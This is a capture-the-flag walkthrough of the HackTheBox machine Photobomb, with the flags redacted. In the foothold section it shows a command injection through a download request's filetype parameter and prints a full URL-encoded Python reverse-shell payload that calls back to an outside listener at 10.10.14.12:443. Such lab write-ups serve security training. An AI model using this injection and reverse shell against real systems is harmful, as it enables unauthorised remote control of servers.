Photobomb
Photobomb
Platform: HackTheBox | Difficulty: Easy | OS: N/A Author: D3v0o0Nu11 | Date: 2026-02-10 | Status: Solved
Summary
Walkthrough of the HackTheBox machine Photobomb. Foothold via command injection; direct root access from the foothold. Both flags captured and redacted.
Recon
Port scan
bash read-only • copy allowednmap -sVC -p- <IP> -oA nmap/Photobomb
| Port | Service | Version | Notes |
|---|---|---|---|
| - | - | - | (ports documented in narrative) |
Enumeration highlights
Foothold
Vulnerability / Misconfiguration
-
First, let's check all open ports and it's services from the host given.
-
Based from the output, it seems the machine is running a web application.
-
So let's open the webapp.
-
Let's click this:
-
Well we don't have any creds, let's check the page source.
-
Let's check the
.jsfile. -
Got a hint there, open the link then.
-
It seems we can download any image we click here.
-
Hence, let's see the download request using burpsuite and send it to repeater.
-
To check whether it's vulnerable to command injection, let's add
;idbehind the value of filetype parameter. -
Now let's try to inject command for reverse shell. I used this command from
hacktools.
python3%20-c%20'import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.10.14.12%22,443));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import%20pty;%20pty.spawn(%22/bin/bash%22)'
-
Now set a listeners for port 443. Then paste the payload behind the
jpg;, next click send. -
Now press
ctrl-d. -
Let's find all the flags!
-
Got the user flag!
Proof
User flag: REDACTED
Privilege Escalation
User -> Root/Admin
The exploit provided a shell running with elevated privileges directly, so no separate privilege escalation was required.
Root flag: REDACTED
Flags
| Flag | Value |
|---|---|
| user | REDACTED |
| root | REDACTED |
Lessons Learned
- Enumerate everything; version strings map to CVEs.
- Confirm each hypothesis with a test before building the exploit.
- Chain foothold -> privilege escalation mechanically.